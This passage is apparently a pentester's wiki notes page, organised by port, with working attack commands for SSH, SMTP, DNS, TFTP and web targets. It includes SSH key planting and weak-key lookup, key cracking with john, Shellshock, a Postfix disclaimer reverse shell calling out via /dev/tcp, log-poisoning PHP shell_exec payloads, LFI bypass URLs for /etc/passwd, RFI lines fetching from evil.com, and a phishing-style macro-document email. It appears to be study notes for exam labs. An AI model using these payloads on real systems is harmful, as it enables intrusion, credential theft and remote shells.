# Attacker&lt;br /&gt;
ssh-keygen -f&lt;br /&gt;
chmod 600&lt;br /&gt;
cat .pub -&amp;gt; copy&lt;br /&gt;
# Victim - Remember to chmod 600 authorized_keys&lt;br /&gt;
echo .pub &amp;gt;&amp;gt; /.ssh/authorized_keys&lt;br /&gt;
# Connect&lt;br /&gt;
ssh -i  @&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Debian OpenSSL Predictable PRNG ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/g0tmi1k/debian-ssh/blob/master/README.md&lt;br /&gt;
# https://github.com/g0tmi1k/debian-ssh&lt;br /&gt;
# https://gitbook.brainyou.stream/basic-linux/ssh-key-predictable-prng-authorized_keys-process&lt;br /&gt;
# Obtain the authorized_keys file. It will be something like (ssh-dss ....):&lt;br /&gt;
ssh-dss AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAV[...] root@debian40server&lt;br /&gt;
# On the attacker machine, add the following line in /etc/ssh/ssh_config:&lt;br /&gt;
PubkeyAcceptedKeyTypes +ssh-dss&lt;br /&gt;
# Get the debian SSH repo:&lt;br /&gt;
git clone https://github.com/g0tmi1k/debian-ssh&lt;br /&gt;
tar vjxf debian-ssh/common_keys/debian_ssh_dsa_1024_x86.tar.bz2&lt;br /&gt;
# Copy the first 30 (approx.) characters after ssh-dss in the authorized_keys, then search it in the repo using grep -lr:&lt;br /&gt;
cd debian-ssh/common_keys/dsa/1024/&lt;br /&gt;
grep -lr &#039;AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAVdV3yLwTsyNAi3IiFShIfx9&#039;&lt;br /&gt;
&lt;br /&gt;
# Flags for common error&lt;br /&gt;
# flag for algorithm&lt;br /&gt;
-okexAlgorithms=+diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1&lt;br /&gt;
# flag for public key&lt;br /&gt;
-oPubkeyAcceptedKeyTypes=+ssh-dss&lt;br /&gt;
# flag for cipher&lt;br /&gt;
-c aes128-cbc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Decrypt RSA ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh2john [id_rsa private key file] &amp;gt; [output file]&lt;br /&gt;
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Key file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/home/user/.ssh/authorized_keys&lt;br /&gt;
/home/usr/.ssh/id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Restriction SSH public key ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
from=&amp;quot;192.168.1.150&amp;quot;,command=&amp;quot;echo &#039;This account can only be used for port forwarding&#039;&amp;quot;,no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxO27JE5uXiHqoUUb4j9o/IPHxsPg+fflPKW4N6pK0ZXSmMfLhjaHyhUr4auF+hSnF2g1hN4N2Z4DjkfZ9f95O7Ox3m0oaUgEwHtZcwTNNLJiHs2fSs7ObLR+gZ23kaJ+TYM8ZIo/ENC68Py+NhtW1c2So95ARwCa/Hkb7kZ1xNo6f6rvCqXAyk/WZcBXxYkGqOLut3c5B+++6h3spOPlDkoPs8T5/wJNcn8i12Lex/d02iOWCLGEav2V1R9xk87xVdI6h5BPySl35+ZXOrHzazbddS7MwGFz16coo+wbHbTR6P5fF9Z1Zm9O/US2LoqHxs7OxNq61BLtr4I/MDnin www-data@user&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH when no interactive shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh kali@10.11.0.4 -o &amp;quot;UserKnownHostsFile=/dev/null&amp;quot; -o &amp;quot;StrictHostKeyChecking=no&amp;quot; -i id_rsa&lt;br /&gt;
ssh -f -N -R 1080 -o &amp;quot;UserKnownHostsFile=/dev/null&amp;quot; -o &amp;quot;StrictHostKeyChecking=no&amp;quot; -i id_rsa kali@10.11.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SHELLSHOCK exploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -i id_rsa user@ &#039;() {:;};/bin/bash&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 25 ,465, 587 - SMTP ==&lt;br /&gt;
&lt;br /&gt;
=== User enumeration ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smtp-user-enum -M  -u  -t&lt;br /&gt;
# Example&lt;br /&gt;
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 192.168.196.137&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Se ===&lt;br /&gt;
&lt;br /&gt;
=== Send mail ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# sendmail&lt;br /&gt;
sendemail -t recepiant@test.com -f ghanim@mail.com -s SMTP_server -m &amp;quot;Please open attachment&amp;quot; -u &amp;quot;My job application&amp;quot; -a MyJobApplication.docm&lt;br /&gt;
-t : Recipient&#039;s email address.&lt;br /&gt;
-f : Sender&#039;s email address.&lt;br /&gt;
-s : SMTP server address.&lt;br /&gt;
-m : Message body of the email.&lt;br /&gt;
-u : Subject of the email.&lt;br /&gt;
-a : File to attach to the email.&lt;br /&gt;
# Telnet&lt;br /&gt;
telnet 192.168.196.137 25                                                                                                                                           1 ⨯&lt;br /&gt;
Trying 192.168.196.137...&lt;br /&gt;
Connected to 192.168.196.137.&lt;br /&gt;
Escape character is &#039;^]&#039;.&lt;br /&gt;
220 postfish.off ESMTP Postfix (Ubuntu)&lt;br /&gt;
HELO HELO&lt;br /&gt;
250 postfish.off&lt;br /&gt;
MAIL FROM: it@postfish.off&lt;br /&gt;
250 2.1.0 Ok&lt;br /&gt;
RCPT TO: brian.moore@postfish.off&lt;br /&gt;
250 2.1.5 Ok&lt;br /&gt;
DATA&lt;br /&gt;
354 End data with .&lt;br /&gt;
subject: Test&lt;br /&gt;
Hello,&lt;br /&gt;
This is a test.&lt;br /&gt;
Regards,&lt;br /&gt;
Me&lt;br /&gt;
.&lt;br /&gt;
250 2.0.0 Ok: queued as F2824458F9&lt;br /&gt;
quit&lt;br /&gt;
221 2.0.0 Bye&lt;br /&gt;
Connection closed by foreign host.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SMTP 4.2.x &amp;lt; 4.2.48 - &#039;Shellshock&#039; ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python2 shellshock.py 10.11.1.231 useradm@mail.local 192.168.119.173 443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disclaimer exploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.howtoforge.com/how-to-automatically-add-a-disclaimer-to-outgoing-emails-with-altermime-postfix-on-debian-squeeze&lt;br /&gt;
# If user is member of the group filter and the file /etc/postfix/disclaimer is present, we can probably escalate our privileges. We need to be able to write to disclaimer. By adding a reverse shell in the disclaimer file, and sending a mail using SMTP we can get a reverse shell. The disclaimer will be sent with the mail and our code will be executed.&lt;br /&gt;
# 1. Add BASH TCP to disclaimer&lt;br /&gt;
/etc/postfix$ cat disclaimer&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.49.196/4444 0&amp;gt;&amp;amp;1&lt;br /&gt;
# 2. Send mail to any user&lt;br /&gt;
# 3. Receive a connection to our netcat listener.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 53 - DNS ==&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig version.bind CHAOS TXT @DNS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enumerate DNS info ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnsenum&lt;br /&gt;
dnsrecon -d&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Subdomains bruteforce ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnsrecon -D subdomains-1000.txt -d  -n&lt;br /&gt;
dnscan -d  -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan&lt;br /&gt;
aiodnsbrute -w wordlist.txt -vv -t 1024 domain.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Zone transfer ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig axfr @ #Try zone transfer without domain&lt;br /&gt;
dig axfr @  #Try zone transfer guessing the domain&lt;br /&gt;
dnsrecon -d  -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 69 (UDP) - TFPT ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Filename containing spaces fix:&lt;br /&gt;
# kali-tftp fails when filename contains spaces.&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install -y tftp-hpa&lt;br /&gt;
# Commands&lt;br /&gt;
tftp [-v] -m binary IP -c get &#039;\Windows\system.ini&#039; system.ini&lt;br /&gt;
# \Windows\System32\Drivers\etc\hosts&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 79 - FINGER ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 80, 443 - HTTP/HTTPS ==&lt;br /&gt;
&lt;br /&gt;
=== Apache HTTP basic auth - Change password using htpasswd ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
htpasswd  username&lt;br /&gt;
# Can also change passwd for webda users with same command&lt;br /&gt;
# Example&lt;br /&gt;
htpasswd /var/www/web1/passwd.dav test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Burp Suite ===&lt;br /&gt;
&lt;br /&gt;
When adding custom header, always remember to have two or three new-lines after the header, otherwise the site wont respond.&lt;br /&gt;
&lt;br /&gt;
==== Add custom header permanent (Request and Response) ====&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Client Fingerprinting ===&lt;br /&gt;
&lt;br /&gt;
From PWK 13.1.4&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/fingerprintjs/fingerprintjs&lt;br /&gt;
cd /var/www/html/ &amp;amp;&amp;amp; sudo wget https://github.com/fingerprintjs/fingerprintjs/archive/2.1.4.zip &amp;amp;&amp;amp; sudo unzip 2.1.4.zip &amp;amp;&amp;amp; sudo mv fingerprintjs-2.1.4/ fp/ &amp;amp;&amp;amp; cd fp&lt;br /&gt;
# Then use whatever text editor you want to create an fingerprint2.html (sudo nano fingerprint2.html) file add the following code to it. This is the same code as in the example but it&#039;s &amp;quot;prettified&amp;quot; from within VS Code.&lt;br /&gt;
## YOU MIGHT GET ERROR THAT fingerprint2.js IS NOT DEFINED. Move fingerprint2.js from fp folder to /var/www/html.&lt;br /&gt;
&lt;br /&gt;
    Fingerprintjs2 test&lt;br /&gt;
&lt;br /&gt;
    Fingerprintjs2&lt;br /&gt;
    Your browser fingerprint:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      var d1 = new Date();&lt;br /&gt;
      var options = {};&lt;br /&gt;
      Fingerprint2.get(options, function (components) {&lt;br /&gt;
        var values = components.map(function (component) {&lt;br /&gt;
          return component.value;&lt;br /&gt;
        });&lt;br /&gt;
        var murmur = Fingerprint2.x64hash128(values.join(&amp;quot;&amp;quot;), 31);&lt;br /&gt;
        var d2 = new Date();&lt;br /&gt;
        var timeString =&lt;br /&gt;
          &amp;quot;Time to calculate the fingerprint: &amp;quot; + (d2 - d1) + &amp;quot;ms&amp;quot;;&lt;br /&gt;
        var details = &amp;quot;Detailed information: &amp;quot;;&lt;br /&gt;
        if (typeof window.console !== &amp;quot;undefined&amp;quot;) {&lt;br /&gt;
          for (var index in components) {&lt;br /&gt;
            var obj = components[index];&lt;br /&gt;
            var value = obj.value;&lt;br /&gt;
            if (value !== null) {&lt;br /&gt;
              var line = obj.key + &amp;quot; = &amp;quot; + value.toString().substr(0, 150);&lt;br /&gt;
              details += line + &amp;quot;&amp;quot;;&lt;br /&gt;
            }&lt;br /&gt;
          }&lt;br /&gt;
        }&lt;br /&gt;
        document.querySelector(&amp;quot;#details&amp;quot;).innerHTML = details;&lt;br /&gt;
        document.querySelector(&amp;quot;#fp&amp;quot;).textContent = murmur;&lt;br /&gt;
        document.querySelector(&amp;quot;#time&amp;quot;).textContent = timeString;&lt;br /&gt;
      });&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Then use a web server of your choice. If you use another web server as described elsewhere in this course, just be aware of where you execute it. Apache defaults to /var/www/html/ while others may be dependant on where you start them. I saw some chatter about Apache not working, however it does for me:&lt;br /&gt;
&lt;br /&gt;
sudo systemctl start apache2&lt;br /&gt;
# Now visit localhost or IP of server&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Command injection ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md#bypass-with-backslash-and-slash&lt;br /&gt;
Filter Bypasses&lt;br /&gt;
Bypass without space&lt;br /&gt;
Bypass with a line return&lt;br /&gt;
Bypass with backslash newline&lt;br /&gt;
Bypass characters filter via hex encoding&lt;br /&gt;
Bypass blacklisted words&lt;br /&gt;
Bypass with single quote&lt;br /&gt;
Bypass with double quote&lt;br /&gt;
Bypass with backslash and slash&lt;br /&gt;
Bypass with $@&lt;br /&gt;
Bypass with $()&lt;br /&gt;
Bypass with variable expansion&lt;br /&gt;
Bypass with wildcards&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Directory brute force ===&lt;br /&gt;
&lt;br /&gt;
Try different tools! Sometimes different tools give different results. See Robust box notes for more info.&lt;br /&gt;
&lt;br /&gt;
==== Feroxbuster ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# --threads 1; max 1 thread; -f appends slash (/); --status-codes; only show 200, -L 3; Limit total number of concurrent scans, --auto-tune;  Automatically lower scan rate when an excessive amount of errors are encountered, --depth 3; Maximum recursion depth, a depth of 0 is infinite recursion&lt;br /&gt;
feroxbuster --url https://URL --threads 1 -f -x php,html,txt,sh --status-codes 200 -o ferox.result3 -L 3 --auto-tune --depth 3 -x txt bak sql sh asp aspx php json conf htaccess config jar db html&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Gobuster ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gobuster dir -u https://URL -w /usr/share/wordlist/dirb/big.txt [-x FILE EXTENSION]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ffuf ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ffuf -w /path/to/wordlist -u https://target/FUZZ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== wfuzz ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -u http://192.168.153.200/FUZZ -H &amp;quot;X-Forwarded-For: 10.10.10.150&amp;quot; --hc 404&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== .htaccess change to allow upload php ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cat .htaccess&lt;br /&gt;
AddType application/x-httpd-php .evil&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== File upload ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/README.md PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThings · GitHub]&lt;br /&gt;
&lt;br /&gt;
==== File upload MindMap ====&lt;br /&gt;
&lt;br /&gt;
[[File:2023-06-file-upload-mindmap-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Extension ====&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/file-upload https://book.hacktricks.xyz/pentesting-web/file-upload]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module&lt;br /&gt;
- Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp&lt;br /&gt;
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml&lt;br /&gt;
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action&lt;br /&gt;
- Coldfusion: .cfm, .cfml, .cfc, .dbm&lt;br /&gt;
- Flash: .swf&lt;br /&gt;
- Perl: .pl, .cgi&lt;br /&gt;
- Erlang Yaws Web Server: .yaws&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== HTTP PUT ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl -X PUT http:/// -d @ -v&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Web.config ====&lt;br /&gt;
&lt;br /&gt;
[https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/ Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
# Web.cofig file with ASP code at the bottom. Modify at will.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Local File Incusion (LFI) / Remote File Inclusion (RFI) ===&lt;br /&gt;
&lt;br /&gt;
==== Log Poising ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First identify what logs you have access to. Then inject php payload to the access log.&lt;br /&gt;
# For example: Apache2 /var/log/apache2/access.log.&lt;br /&gt;
# Or: vsftpd /var/log/vsftpd.log&lt;br /&gt;
nc -nv 10.11.0.22 80&lt;br /&gt;
(UNKNOWN) [10.11.0.22] 80 (http) open&lt;br /&gt;
&#039; . shell_exec($_GET[&#039;cmd&#039;]) . &#039;&#039;;?&amp;gt;&lt;br /&gt;
# You should now see that request in the access log (Or other logs you, like /var/log/vsftpd.log if its a FTP server.&lt;br /&gt;
curl http://10.10.10.10/site.php?file=/var/log/apache2/access.log&amp;amp;cmd=whoami&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LFI ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion&lt;br /&gt;
# Basic LFI&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd&lt;br /&gt;
# Null byte&lt;br /&gt;
## In versions of PHP below 5.3.4 we can terminate with null byte.&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd%00&lt;br /&gt;
# Double encoding&lt;br /&gt;
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd&lt;br /&gt;
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00&lt;br /&gt;
# UTF-8 encoding&lt;br /&gt;
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd&lt;br /&gt;
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00&lt;br /&gt;
# Path and dot truncation&lt;br /&gt;
## On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]&lt;br /&gt;
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd&lt;br /&gt;
# Filter bypass tricks&lt;br /&gt;
http://example.com/index.php?page=....//....//etc/passwd&lt;br /&gt;
http://example.com/index.php?page=..///////..////..//////etc/passwd&lt;br /&gt;
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd&lt;br /&gt;
# PHP header file (Windows)&lt;br /&gt;
&lt;br /&gt;
# PHP header file (Linux)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LFI list ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt&lt;br /&gt;
# Windows&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt&lt;br /&gt;
https://gist.github.com/korrosivesec/a339e376bae22fcfb7f858426094661e&lt;br /&gt;
# Both&lt;br /&gt;
/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== RFI ====&lt;br /&gt;
&lt;br /&gt;
If webserver dosent execute RFI, see PHP shell_exec further down.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion&lt;br /&gt;
# Basic RFI&lt;br /&gt;
http://example.com/index.php?page=http://evil.com/shell.txt&lt;br /&gt;
# Null byte&lt;br /&gt;
http://example.com/index.php?page=http://evil.com/shell.txt%00&lt;br /&gt;
# Double encoding&lt;br /&gt;
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt&lt;br /&gt;
# Bypass allow_url_include&lt;br /&gt;
# When allow_url_include and allow_url_fopen are set to Off. It is still possible to include a remote file on Windows box using the smb protocol.&lt;br /&gt;
# 1. Create a share open to everyone&lt;br /&gt;
# 2. Write a PHP code inside a file : shell.php&lt;br /&gt;
# 3. Include it http://example.com/index.php?page=\\10.0.0.1\share\shell.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PHP Wrappers ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# PHP provides several protocol wrappers that we can use to exploit directory traversal and local file inclusion vulnerabilities.&lt;br /&gt;
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#lfi--rfi-using-wrappers&lt;br /&gt;
# Example&lt;br /&gt;
http://10.10.10.10/test.php?file=data:text/plain,hello world&lt;br /&gt;
# Example 2&lt;br /&gt;
http://10.10.10.10/test.php?file=data:text/plain,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scanners ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# nikto&lt;br /&gt;
nitko -h  &amp;gt; output.txt&lt;br /&gt;
# crawleet&lt;br /&gt;
python crawleet.py -u  -b -d 3 -e jpg,png,css -f -m -s -x php,txt -y --threads 20&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SQL injection ===&lt;br /&gt;
&lt;br /&gt;
==== Cheatsheet and good articles ====&lt;br /&gt;
&lt;br /&gt;
[https://www.tarlogic.com/en/blog/red-team-tales-0x01/ https://www.tarlogic.com/en/blog/red-team-tales-0x01/]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection] (Click on the SQL server that is used)&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection]&lt;br /&gt;
&lt;br /&gt;
[https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver]&lt;br /&gt;
&lt;br /&gt;
See notes for 10.11.1.229&lt;br /&gt;
&lt;br /&gt;
==== Theory ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Databases --&amp;gt; Tables --&amp;gt; Column_names&lt;br /&gt;
# Queries&lt;br /&gt;
# Show all tables in database information_schema&lt;br /&gt;
table_name FROM information_schema.tables&lt;br /&gt;
# use information_schema, show all column_name from table wp_users&lt;br /&gt;
column_name FROM information_schema.columns WHERE table_name=&#039;wp_users&#039;&lt;br /&gt;
# Show all information in user_login column from table wp_users&lt;br /&gt;
user_login FROM wp_users&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Authentication Bypass ====&lt;br /&gt;
&lt;br /&gt;
